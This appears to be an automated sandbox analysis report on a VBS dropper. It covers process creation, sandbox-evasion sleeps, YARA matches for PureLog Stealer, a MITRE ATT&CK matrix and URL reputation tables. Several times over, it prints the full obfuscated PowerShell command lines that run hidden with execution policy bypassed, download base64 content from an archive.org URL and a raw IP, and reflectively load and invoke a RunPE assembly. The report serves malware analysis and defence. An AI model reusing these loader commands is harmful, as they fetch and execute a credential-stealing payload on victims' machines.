Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FFB4AF2A499 sldt word ptr fs:[eax]

4_2_00007FFB4AF2A499

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1892	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 977	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4099	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5658	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4936	Thread sleep count: 4099 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 344	Thread sleep count: 5658 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: f4576JaIo9.vbs	Binary or memory string: CKzkKfUAfWqKGGnWKi = "ojCbzKhaGvvmCIuUKx"
Source: wscript.exe, 00000000.00000003.1445828342.000001AEE8627000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ojCbzKhaGvvmCIuUKx@
Source: wscript.exe, 00000000.00000003.1449571908.000001AEE87B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $ojCbzKhaGvvmCIuUKx
Source: powershell.exe, 00000004.00000002.1988564778.000002669D0DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: wscript.exe, 00000000.00000003.1445613803.000001AEE85C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pxWfBPZfdluZBpUvmcith

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWicrJ25pdScrJ3JsJysnID0gN3VYaHR0JysncHM6Ly9pYTYnKycwJysnMDEnKycwJysnMCcrJy51cy4nKydhJysncmMnKydoaXYnKydlLm9yZy8nKycyNC9pdGVtcy9kJysnZScrJ3RhaCcrJy1ub3RlJysnLXYvRGUnKyd0YWhOb3RlVi4nKyd0eCcrJ3Q3JysndVgnKyc7JysnWicrJ25pYmFzJysnZTY0JysnQ29uJysndCcrJ2VudCA9IChOZXctT2InKydqZWN0IFN5Jysnc3RlJysnbScrJy4nKydOJysnZScrJ3QuV2ViQycrJ2wnKydpZW50JysnKS5EbycrJ3cnKyduJysnbG9hZFN0JysncmluZyhaJysnbicrJ2l1cmwpJysnO1puaScrJ2JpbmFyeUMnKydvbicrJ3RlbnQnKycgJysnPSBbUycrJ3lzdGUnKydtLkMnKydvJysnbnZlcicrJ3RdOjpGcicrJ29tQmFzZTY0U3RyaScrJ24nKydnKFpuaWJhc2U2JysnNENvbnQnKydlJysnbicrJ3QnKycpOycrJ1puaWEnKydzc2VtYmwnKyd5ICcrJz0gW1JlZmwnKydlY3QnKydpb24nKycuQXNzZScrJ20nKydibHldJysnOjpMJysnb2FkJysnKCcrJ1onKyduaWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQpO1onKyduJysnaXR5cGUgJysnPScrJyBaJysnbmlhc3NlbWInKydseS5HZXRUeXBlKDd1WCcrJ1InKyd1JysnblBFLkgnKydvJysnbWU3JysndVgnKycpOycrJ1puaW1lJysndGgnKydvZCcrJyAnKyc9IFonKyduJysnaXR5cGUuJysnRycrJ2UnKyd0TWV0JysnaCcrJ29kJysnKDd1WCcrJ1YnKydBSTd1JysnWCk7WicrJ25pbWV0aG8nKydkLkknKydudm9rZSgnKydabicrJ2knKyduJysndWxsLCcrJyAnKydbJysnb2JqZWMnKyd0W11dJysnQCcrJyg3dVh0eHQuRicrJ0ZDTlIvNDEnKyc0Mi81OC45OCcrJzEuMicrJzMnKycyLjI3MScrJy8nKycvJysnOnB0dGgnKyc3JysndVggJysnLCA3dVhkZXNhdGl2YScrJ2RvNycrJ3VYICcrJywgN3UnKydYZGVzJysnYScrJ3RpJysndmEnKydkbzd1WCAsJysnIDd1WCcrJ2QnKydlc2F0aXZhZG83dVgsNycrJ3VYUicrJ2VnQScrJ3NtNycrJ3VYJysnLDd1WDcnKyd1WCkpJyktUkVwbGFDZSAoW0NoQXJdNTUrW0NoQXJdMTE3K1tDaEFyXTg4KSxbQ2hBcl0zOSAtUkVwbGFDZSdabmknLFtDaEFyXTM2KSB8LiAoICRlTlY6Y09tU1BlQ1s0LDI0LDI1XS1qb2lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Z'+'niu'+'rl'+' = 7uXhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/De'+'tahNoteV.'+'tx'+'t7'+'uX'+';'+'Z'+'nibas'+'e64'+'Con'+'t'+'ent = (New-Ob'+'ject Sy'+'ste'+'m'+'.'+'N'+'e'+'t.WebC'+'l'+'ient'+').Do'+'w'+'n'+'loadSt'+'ring(Z'+'n'+'iurl)'+';Zni'+'binaryC'+'on'+'tent'+' '+'= [S'+'yste'+'m.C'+'o'+'nver'+'t]::Fr'+'omBase64Stri'+'n'+'g(Znibase6'+'4Cont'+'e'+'n'+'t'+');'+'Znia'+'ssembl'+'y '+'= [Refl'+'ect'+'ion'+'.Asse'+'m'+'bly]'+'::L'+'oad'+'('+'Z'+'nibi'+'naryCon'+'t'+'e'+'nt);Z'+'n'+'itype '+'='+' Z'+'niassemb'+'ly.GetType(7uX'+'R'+'u'+'nPE.H'+'o'+'me7'+'uX'+');'+'Znime'+'th'+'od'+' '+'= Z'+'n'+'itype.'+'G'+'e'+'tMet'+'h'+'od'+'(7uX'+'V'+'AI7u'+'X);Z'+'nimetho'+'d.I'+'nvoke('+'Zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uXtxt.F'+'FCNR/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'uX '+', 7uXdesativa'+'do7'+'uX '+', 7u'+'Xdes'+'a'+'ti'+'va'+'do7uX ,'+' 7uX'+'d'+'esativado7uX,7'+'uXR'+'egA'+'sm7'+'uX'+',7uX7'+'uX))')-REplaCe ([ChAr]55+[ChAr]117+[ChAr]88),[ChAr]39 -REplaCe'Zni',[ChAr]36) \|. ( $eNV:cOmSPeC[4,24,25]-joiN'')"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnwicrj25pdscrj3jsjysnid0gn3vyahr0jysnchm6ly9pytynkycwjysnmdenkycwjysnmccrjy51cy4nkydhjysncmmnkydoaxynkydllm9yzy8nkycync9pdgvtcy9kjysnzscrj3rhaccrjy1ub3rljysnlxyvrgunkyd0ywhob3rlvi4nkyd0eccrj3q3jysndvgnkyc7jysnwicrj25pymfzjysnzty0jysnq29ujysndccrj2vudca9ichozxctt2inkydqzwn0ifn5jysnc3rljysnbscrjy4nkydojysnzscrj3quv2viqycrj2wnkydpzw50jysnks5ebycrj3cnkydujysnbg9hzfn0jysncmluzyhajysnbicrj2l1cmwpjysno1puascrj2jpbmfyeumnkydvbicrj3rlbnqnkycgjysnpsbbuycrj3lzdgunkydtlkmnkydvjysnbnzlcicrj3rdojpgcicrj29tqmfzzty0u3ryascrj24nkydnkfpuawjhc2u2jysnnenvbnqnkydljysnbicrj3qnkycpoycrj1puawenkydzc2vtymwnkyd5iccrjz0gw1jlzmwnkydly3qnkydpb24nkycuqxnzzscrj20nkydibhldjysnojpmjysnb2fkjysnkccrj1onkyduawjpjysnbmfyeunvbicrj3qnkydljysnbnqpo1onkydujysnaxr5cgugjysnpscrjybajysnbmlhc3nlbwinkydses5hzxruexblkdd1wccrj1inkyd1jysnblbflkgnkydvjysnbwu3jysndvgnkycpoycrj1puaw1ljysndggnkydvzccrjyankyc9ifonkydujysnaxr5cguujysnrycrj2unkyd0twv0jysnaccrj29kjysnkdd1wccrj1ynkydbstd1jysnwck7wicrj25pbwv0ag8nkydklkknkydudm9rzsgnkydabicrj2knkydujysndwxslccrjyankydbjysnb2jqzwmnkyd0w11djysnqccrjyg3dvh0ehquricrj0zdtlivndenkyc0mi81oc45occrjzeumicrjzmnkycylji3mscrjy8nkycvjysnonb0dggnkyc3jysndvggjysnlca3dvhkzxnhdgl2yscrj2rvnycrj3vyiccrjywgn3unkydyzgvzjysnyscrj3rpjysndmenkydkbzd1wcasjysnidd1wccrj2qnkydlc2f0axzhzg83dvgsnycrj3vyuicrj2vnqscrj3ntnycrj3vyjysnldd1wdcnkyd1wckpjyktukvwbgfdzsaow0noqxjdnturw0noqxjdmte3k1tdaefyxtg4ksxbq2hbcl0zosatukvwbgfdzsdabmknlftdaefyxtm2ksb8liaoicrltly6y09tu1blq1s0ldi0ldi1xs1qb2lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('z'+'niu'+'rl'+' = 7uxhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/de'+'tahnotev.'+'tx'+'t7'+'ux'+';'+'z'+'nibas'+'e64'+'con'+'t'+'ent = (new-ob'+'ject sy'+'ste'+'m'+'.'+'n'+'e'+'t.webc'+'l'+'ient'+').do'+'w'+'n'+'loadst'+'ring(z'+'n'+'iurl)'+';zni'+'binaryc'+'on'+'tent'+' '+'= [s'+'yste'+'m.c'+'o'+'nver'+'t]::fr'+'ombase64stri'+'n'+'g(znibase6'+'4cont'+'e'+'n'+'t'+');'+'znia'+'ssembl'+'y '+'= [refl'+'ect'+'ion'+'.asse'+'m'+'bly]'+'::l'+'oad'+'('+'z'+'nibi'+'narycon'+'t'+'e'+'nt);z'+'n'+'itype '+'='+' z'+'niassemb'+'ly.gettype(7ux'+'r'+'u'+'npe.h'+'o'+'me7'+'ux'+');'+'znime'+'th'+'od'+' '+'= z'+'n'+'itype.'+'g'+'e'+'tmet'+'h'+'od'+'(7ux'+'v'+'ai7u'+'x);z'+'nimetho'+'d.i'+'nvoke('+'zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uxtxt.f'+'fcnr/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'ux '+', 7uxdesativa'+'do7'+'ux '+', 7u'+'xdes'+'a'+'ti'+'va'+'do7ux ,'+' 7ux'+'d'+'esativado7ux,7'+'uxr'+'ega'+'sm7'+'ux'+',7ux7'+'ux))')-replace ([char]55+[char]117+[char]88),[char]39 -replace'zni',[char]36) \|. ( $env:comspec[4,24,25]-join'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnwicrj25pdscrj3jsjysnid0gn3vyahr0jysnchm6ly9pytynkycwjysnmdenkycwjysnmccrjy51cy4nkydhjysncmmnkydoaxynkydllm9yzy8nkycync9pdgvtcy9kjysnzscrj3rhaccrjy1ub3rljysnlxyvrgunkyd0ywhob3rlvi4nkyd0eccrj3q3jysndvgnkyc7jysnwicrj25pymfzjysnzty0jysnq29ujysndccrj2vudca9ichozxctt2inkydqzwn0ifn5jysnc3rljysnbscrjy4nkydojysnzscrj3quv2viqycrj2wnkydpzw50jysnks5ebycrj3cnkydujysnbg9hzfn0jysncmluzyhajysnbicrj2l1cmwpjysno1puascrj2jpbmfyeumnkydvbicrj3rlbnqnkycgjysnpsbbuycrj3lzdgunkydtlkmnkydvjysnbnzlcicrj3rdojpgcicrj29tqmfzzty0u3ryascrj24nkydnkfpuawjhc2u2jysnnenvbnqnkydljysnbicrj3qnkycpoycrj1puawenkydzc2vtymwnkyd5iccrjz0gw1jlzmwnkydly3qnkydpb24nkycuqxnzzscrj20nkydibhldjysnojpmjysnb2fkjysnkccrj1onkyduawjpjysnbmfyeunvbicrj3qnkydljysnbnqpo1onkydujysnaxr5cgugjysnpscrjybajysnbmlhc3nlbwinkydses5hzxruexblkdd1wccrj1inkyd1jysnblbflkgnkydvjysnbwu3jysndvgnkycpoycrj1puaw1ljysndggnkydvzccrjyankyc9ifonkydujysnaxr5cguujysnrycrj2unkyd0twv0jysnaccrj29kjysnkdd1wccrj1ynkydbstd1jysnwck7wicrj25pbwv0ag8nkydklkknkydudm9rzsgnkydabicrj2knkydujysndwxslccrjyankydbjysnb2jqzwmnkyd0w11djysnqccrjyg3dvh0ehquricrj0zdtlivndenkyc0mi81oc45occrjzeumicrjzmnkycylji3mscrjy8nkycvjysnonb0dggnkyc3jysndvggjysnlca3dvhkzxnhdgl2yscrj2rvnycrj3vyiccrjywgn3unkydyzgvzjysnyscrj3rpjysndmenkydkbzd1wcasjysnidd1wccrj2qnkydlc2f0axzhzg83dvgsnycrj3vyuicrj2vnqscrj3ntnycrj3vyjysnldd1wdcnkyd1wckpjyktukvwbgfdzsaow0noqxjdnturw0noqxjdmte3k1tdaefyxtg4ksxbq2hbcl0zosatukvwbgfdzsdabmknlftdaefyxtm2ksb8liaoicrltly6y09tu1blq1s0ldi0ldi1xs1qb2lojycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('z'+'niu'+'rl'+' = 7uxhtt'+'ps://ia6'+'0'+'01'+'0'+'0'+'.us.'+'a'+'rc'+'hiv'+'e.org/'+'24/items/d'+'e'+'tah'+'-note'+'-v/de'+'tahnotev.'+'tx'+'t7'+'ux'+';'+'z'+'nibas'+'e64'+'con'+'t'+'ent = (new-ob'+'ject sy'+'ste'+'m'+'.'+'n'+'e'+'t.webc'+'l'+'ient'+').do'+'w'+'n'+'loadst'+'ring(z'+'n'+'iurl)'+';zni'+'binaryc'+'on'+'tent'+' '+'= [s'+'yste'+'m.c'+'o'+'nver'+'t]::fr'+'ombase64stri'+'n'+'g(znibase6'+'4cont'+'e'+'n'+'t'+');'+'znia'+'ssembl'+'y '+'= [refl'+'ect'+'ion'+'.asse'+'m'+'bly]'+'::l'+'oad'+'('+'z'+'nibi'+'narycon'+'t'+'e'+'nt);z'+'n'+'itype '+'='+' z'+'niassemb'+'ly.gettype(7ux'+'r'+'u'+'npe.h'+'o'+'me7'+'ux'+');'+'znime'+'th'+'od'+' '+'= z'+'n'+'itype.'+'g'+'e'+'tmet'+'h'+'od'+'(7ux'+'v'+'ai7u'+'x);z'+'nimetho'+'d.i'+'nvoke('+'zn'+'i'+'n'+'ull,'+' '+'['+'objec'+'t[]]'+'@'+'(7uxtxt.f'+'fcnr/41'+'42/58.98'+'1.2'+'3'+'2.271'+'/'+'/'+':ptth'+'7'+'ux '+', 7uxdesativa'+'do7'+'ux '+', 7u'+'xdes'+'a'+'ti'+'va'+'do7ux ,'+' 7ux'+'d'+'esativado7ux,7'+'uxr'+'ega'+'sm7'+'ux'+',7ux7'+'ux))')-replace ([char]55+[char]117+[char]88),[char]39 -replace'zni',[char]36) \|. ( $env:comspec[4,24,25]-join'')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.2669d440000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.26695b8e698.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.26695b8e698.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.2669d440000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1989363837.000002669D440000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1964132789.000002669537A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 4.2.powershell.exe.2669d440000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.26695b8e698.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.26695b8e698.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.2669d440000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1989363837.000002669D440000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1964132789.000002669537A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
f4576JaIo9.vbs	5%	ReversingLabs	Win32.Trojan.Generic
f4576JaIo9.vbs	6%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
ia600100.us.archive.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://ia600100.us.archive.org	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	10%	Virustotal		Browse
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt7uX;Znibase64Content	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://ia600100.us.archive.org	0%	Virustotal		Browse
http://172.232.189.85/2414/RNCFF.txt	15%	Virustotal		Browse
http://172.232.189.85	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
